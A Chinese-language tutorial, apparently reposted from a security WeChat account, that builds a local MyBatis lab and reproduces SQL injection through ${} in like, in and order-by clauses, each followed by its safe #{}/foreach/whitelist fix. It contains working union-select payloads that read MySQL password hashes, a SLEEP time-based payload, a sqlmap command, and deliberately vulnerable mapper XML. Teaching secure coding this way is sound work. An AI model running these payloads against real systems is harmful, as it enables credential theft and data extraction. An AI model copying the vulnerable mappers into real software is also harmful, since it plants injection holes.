Java代审5:SQL 注入-Mybatis复现

渗透技巧 2年前 (2022) admin
1,466 0 0
Java代审5:SQL 注入-Mybatis复现


0x00

前言

SQLI(SQL Injection), SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句,导致了SQL注入的产生。攻击者可通过SQL注入直接获取数据库信息,造成信息泄漏。

MyBatis框架底层已经实现了对SQL注入的防御,但存在使用不当的情况下,仍然存在SQL注入的风险。


0x01

项目创建与结构展示

使用mybatis的项目与使用jdbc的项目在项目的目录结构上存在一定的差异,mybatis的项目减少了对SQL功能接口的编写。


1.创建新的子模块并完成对应的目录结构,这里创建子模块采用的是maven>webapp。

Java代审5:SQL 注入-Mybatis复现
Java代审5:SQL 注入-Mybatis复现
Java代审5:SQL 注入-Mybatis复现

tips:使用jdbc的项目与使用mybatis的项目的区别就在这里


2.引入依赖与解决文件资源导入问题

在子模块的pom.xml中添加

      <dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.47</version>
</dependency>


xml资源导入问题解决,在build标签中添加

    <!--处理资源引入问题-->
<resources>
<resource>
<directory>src/main/resources</directory>
<includes>
<include>**/*.properties</include>
<include>**/*.xml</include>
</includes>
<filtering>true</filtering>
</resource>
<resource>
<directory>src/main/java</directory>
<includes>
<include>**/*.properties</include>
<include>**/*.xml</include>
</includes>
<filtering>true</filtering>
</resource>
</resources>


3.数据库创建与核心配置文件配置

create database `mybatis`;

use `mybatis`;

create table user(
`id` int(20) not null auto_increment primary key,
`username` varchar(30) not null,
`passwd` varchar(30) not null
)engine=innodb,charset=utf8,auto_increment=10086;

insert into user(username,passwd) values ("admin","admin@123");
insert into user(username,passwd) values ("root","root@123");
insert into user(username,passwd) values ("manager","manager@123");
insert into user(username,passwd) values ("info","info@123");
insert into user(username,passwd) values ("test","123456");


数据库配置文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
<environments default="development">
<environment id="development">
<!-- 使用JDBC事务管理 -->
<transactionManager type="JDBC"/>
<!-- 数据库连接池 -->
<dataSource type="POOLED">
<property name="driver" value="com.mysql.jdbc.Driver"/>
<property name="url" value="jdbc:mysql://localhost:3306/mybatis?useSSL=true&amp;useUnicode=true&amp;characterEncoding=UTF-8"/>
<property name="username" value="******"/><! --个人数据库账号-->
<property name="password" value="******"/><! --个人数据库密码-->
</dataSource>
</environment>
</environments>
</configuration>
Java代审5:SQL 注入-Mybatis复现


4.编写工具类,连接数据库

在编写工具类前,首先了解Mybatis实例创建过程。


Java代审5:SQL 注入-Mybatis复现


Mybatis3中文文档:

https://mybatis.org/mybatis-3/zh/getting-started.html

实现代码:

package com.example.util;

import org.apache.ibatis.io.Resources;
import org.apache.ibatis.session.SqlSession;
import org.apache.ibatis.session.SqlSessionFactory;
import org.apache.ibatis.session.SqlSessionFactoryBuilder;

import java.io.IOException;
import java.io.InputStream;

public class MybatisUtil {
public static SqlSessionFactory sqlSessionFactory = null;

static {
//1.文件流读取核心配置文件
String resource = "mybatis-config.xml";
InputStream inputStream = null;
try {
inputStream = Resources.getResourceAsStream(resource);
} catch (IOException e) {
e.printStackTrace();
}
//2.读取配置文件创建SqlSessionFactory实例
sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);
}

public static SqlSession getSqlSession() {
//3.获取SqlSession
return sqlSessionFactory.openSession();
}
}


5.持久层接口编写与实体类编写

在jdbc项目中持久层是dao,mybatis的是mapper,功能作用是一样。编写顺序先实体载接口。


实体类:

package com.example.pojo;

public class User {
private int id;
private String username;
private String passwd;

public User() {
}

public User(int id, String username, String passwd) {
this.id = id;
this.username = username;
this.passwd = passwd;
}

public int getId() {
return id;
}

public void setId(int id) {
this.id = id;
}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPasswd() {
return passwd;
}

public void setPasswd(String passwd) {
this.passwd = passwd;
}

@Override
public String toString() {
return "User{" +
"id=" + id +
", username='" + username + ''' +
", passwd='" + passwd + ''' +
'}';
}
}


接口与对应的xml配置文件,都是在com.example.mapper包下创建

package com.example.mapper;

import com.example.pojo.User;

import java.util.List;

public interface UserMapper {
//获取所有的用户列表
List<User> getUserList();
}


<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<!--namespace=指定一个对应的Dao/Mapper命名接口-->
<mapper namespace="com.example.mapper.UserMapper">
<select id="getUserList" resultType="com.example.pojo.User">
select * from user
</select>
</mapper>


6.测试类与测试结果展示

package com.example.mapper;

import com.example.pojo.User;
import com.example.util.MybatisUtil;
import org.apache.ibatis.session.SqlSession;
import org.junit.Test;

import java.util.List;

public class UserMapperTest {
@Test
public void test() {
//1.获取SqlSession
SqlSession sqlSession = MybatisUtil.getSqlSession();

//2.执行SQL查询
UserMapper mapper = sqlSession.getMapper(UserMapper.class);
List<User> userList = mapper.getUserList();

for (User user : userList) {
System.out.println(user);
}

sqlSession.close();
}
}
Java代审5:SQL 注入-Mybatis复现

到这一步mybatis的测试案例创建完成,下面只需要编写持久层和添加映射关系即可。


0x02

漏洞产生原因

MyBatis 使用 parameterType 向 SQL 语句传参,在 SQL 引用传参的时候可以使用 #{} 和 ${} 两种方式,两种方式区别如下:

**${}:SQL 拼接符号,直接将输入的语句拼接到 SQL 语句里,想避免 SQL 注入问题需要手动添加过滤
#{}:占位符号,在对数据解析时会自动将输入的语句前后加上单引号从而避免 SQL 注入**

在正常的查询情况下,不会产生这样的漏洞,只有在使用where,like、in、order by查询条件时,不能直接使用#{},直接使用#{}会报错,因此在开发时可能会直接使用${}从而产生SQL注入漏洞。


0x03

漏洞复现

1.like注入

存在问题的mybatis配置

    <select id="getUserListByLike" resultType="com.example.pojo.User">
select * from user where username like "%"${name}"%"
</select>


测试payload只需要将’%%’的闭合破坏即可:

admin%" and 1=2 union select 1,null,authentication_string from mysql.user where User like "%root


正确的mybatis配置

    <select id="getUserListByLike" resultType="com.example.pojo.User">
select * from user where username like concat('%',#{name},'%')
</select>


2.in注入

存在问题的mybatis配置

    <select id="getUserListByIn" resultType="com.example.pojo.User">
SELECT * FROM user where id in (${id})
</select>


接口代码:

package com.example.mapper;

import com.example.pojo.User;

import java.util.List;

public interface UserMapper {
//获取所有的用户列表
List<User> getUserList();

//Like注入
List<User> getUserListByLike(String name);

//In注入
List<User> getUserListByIn(String id);

//Order by注入
List<User> getUserListByOrderBy(String orderby);
}


攻击payload

10086) and 1=2 union select 1,(select database()),"passwd" from user where (1)=(1
Java代审5:SQL 注入-Mybatis复现


sqlmap结果:

python sqlmap.py -u http://localhost:8080/servlet_sqli02_war/test?id=10086 --current-db --level 5
Java代审5:SQL 注入-Mybatis复现


正确的mybatis配置:

   <select id="getUserListByIn" resultType="com.example.pojo.User">
SELECT * FROM user where id in
<foreach collection="array" item="id" index="index" open="(" close=")" separator=",">#{id}</foreach>
</select>


3.order by注入

错误的mybatis配置:

    <select id="getUserListByOrderBy" resultType="com.example.pojo.User">
select * from user order by ${orderby}
</select>


测试payload:

http://localhost:8080/servlet_sqli02_war/test?orderby=username,(SELECT(1)FROM(SELECT(SLEEP(10)))test)
Java代审5:SQL 注入-Mybatis复现


sqlmap结果:

Java代审5:SQL 注入-Mybatis复现


正确的mybatis写法:

   <select id="getUserListByOrderBy" resultType="com.example.pojo.User">
select * from user order by
<choose>
<when test="orderby == 'id' or orderby == 'username' or orderby == 'passwd'">${orderby}</when>
<otherwise>username</otherwise>
</choose>
</select>



Java代审5:SQL 注入-Mybatis复现

推 荐 阅 读

Java代审5:SQL 注入-Mybatis复现

Java代审5:SQL 注入-Mybatis复现


Java代审5:SQL 注入-Mybatis复现

原文始发于微信公众号(锦行信息安全):Java代审5:SQL 注入-Mybatis复现

版权声明:admin 发表于 2022年1月20日 上午10:00。
转载请注明:Java代审5:SQL 注入-Mybatis复现 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...